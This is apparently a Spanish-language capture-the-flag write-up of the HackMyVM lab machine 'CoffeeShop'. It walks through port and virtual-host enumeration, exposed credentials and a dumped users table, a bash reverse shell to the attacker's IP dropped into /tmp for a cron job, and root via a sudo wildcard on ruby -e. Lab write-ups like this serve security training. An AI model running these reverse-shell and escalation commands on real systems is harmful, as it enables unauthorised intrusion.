cd ~/blog

~/writeups/hmv/022-coffeeshop.md

022 - CoffeeShop

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Virtual Host Enumeration con exposición de contenido sensibleCredential Exposure en el dashboard y la configuración de la base de datosCron Job Abuse mediante scripts controlables dentro de /tmpSudo-Allowed Program Abuse mediante Ruby
hackmyvm.eu/machines/machine.php?vm=CoffeeShop

~2 min de lectura


Enumeración de servicios

Comenzamos con un escaneo general y específico:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.31
❯ nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.31
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-05 00:16 -03
Nmap scan report for 192.168.1.31
Host is up (0.00040s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 81:a4:52:2b:14:3f:13:68:2b:e2:5b:c4:7b:d7:1a:a5 (ECDSA)
|_  256 25:19:09:29:2f:b8:ea:b4:29:1f:6d:e7:13:d6:be:7e (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Under Construction - Midnight Coffee
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.79 seconds

Enumeramos con gobuster:

❯ gobuster dir -u 192.168.1.31 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt
...
/index.html           (Status: 200) [Size: 1690]
/shop                 (Status: 301) [Size: 311] [--> http://192.168.1.31/shop/]
...

Descubrimos el dominio midnight.coffee, que añadimos al /etc/hosts, y fuzzeamos virtual hosts con wfuzz, encontrando dev:

❯ wfuzz -u 'http://midnight.coffee' -H 'Host: FUZZ.midnight.coffee' -t 100 -w ~/Documentos/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --hh 1690
...
000000019:   200        71 L     152 W      1738 Ch     "dev"
...

Apache puede servir sitios diferentes desde una misma IP según el encabezado HTTP Host. Por eso una enumeración de directorios sobre la IP no basta: wfuzz mantiene el destino y cambia ese encabezado. El tamaño distinto al de la respuesta base permite separar dev.midnight.coffee de los nombres inexistentes.

Enumeración web y acceso inicial

En dev.midnight.coffee encontramos unas credenciales con las que accedemos al dashboard de midnight.coffee. Allí obtenemos credenciales SSH del usuario tuna. Ya dentro, en el código del sitio encontramos las credenciales de la base de datos:

$host = 'localhost';
$username = 'shopadmin';
$password = '1_4m_4dmin';
$database = 'midnightcoffee';

Nos conectamos a la base de datos y volcamos la tabla users:

+----+-----------+--------------------------------------------------------------+----------------------------------+
| id | username  | password                                                     | auth_token                       |
+----+-----------+--------------------------------------------------------------+----------------------------------+
|  1 | shopadmin | $2a$12$yqH60OJyTqoPHXe1g1cGDu93me1v.wGcEEZV5rLy39stUJO.Xsjwi | NULL                             |
|  2 | tuna      | 1L0v3_TuN4_Very_Much                                         | NULL                             |
|  3 | developer | developer                                                    | 15958add0f7786495b7ae8776f062d96 |
+----+-----------+--------------------------------------------------------------+----------------------------------+

Las credenciales de conexión a MySQL no equivalen automáticamente a una contraseña del sistema. Su valor aquí es permitir leer los datos de la aplicación: la tabla confirma la contraseña de tuna y muestra la existencia de shopadmin, pero el hash bcrypt de este último no necesita romperse porque existe una vía de movimiento lateral mediante cron.

Movimiento lateral a shopadmin

Para escalar, revisamos las tareas cron:

tuna@coffee-shop:/tmp$ cat /etc/crontab
...
* * * * * /bin/bash /home/shopadmin/execute.sh
...

Inspeccionamos el script (tenemos lectura):

tuna@coffee-shop:~$ ls -l /home/shopadmin/execute.sh
-rwxrwxr-x 1 shopadmin shopadmin 33 Jan  3 18:37 /home/shopadmin/execute.sh

tuna@coffee-shop:~$ cat /home/shopadmin/execute.sh
#!/bin/bash

/bin/bash /tmp/*.sh

El comodín se expande con todos los archivos terminados en .sh dentro de /tmp, un directorio escribible por usuarios sin privilegios. Como la tarea se ejecuta con la identidad de shopadmin, cualquier script que coloquemos allí heredará sus permisos. Dejamos una reverse shell y esperamos a la siguiente ejecución:

tuna@coffee-shop:/tmp$ cat reverse.sh
bash -i >& /dev/tcp/192.168.1.10/1234 0>&1

Escalada de privilegios

Tras un minuto, obtenemos acceso como shopadmin y la primera flag. Continuamos con sudo -l:

shopadmin@coffee-shop:~$ sudo -l
Matching Defaults entries for shopadmin on coffee-shop:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User shopadmin may run the following commands on coffee-shop:
    (root) NOPASSWD: /usr/bin/ruby * /opt/shop.rb

La regla permite un Sudo-Allowed Program Abuse. Aunque parece restringida a /opt/shop.rb, el comodín situado entre el intérprete y el script admite argumentos adicionales. Ruby procesa -e como una opción propia antes de abrir /opt/shop.rb, de modo que ejecuta nuestra expresión con la identidad asignada por sudo:

shopadmin@coffee-shop:~$ sudo /usr/bin/ruby -e "exec '/bin/bash'" /opt/shop.rb
root@coffee-shop:/home/shopadmin#

Obtenemos acceso root y capturamos la flag. El punto decisivo no es que Ruby sea vulnerable, sino que la política de sudo permite controlar sus opciones. Para corregirlo habría que eliminar el comodín y autorizar una operación cerrada que no exponga un intérprete de propósito general.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados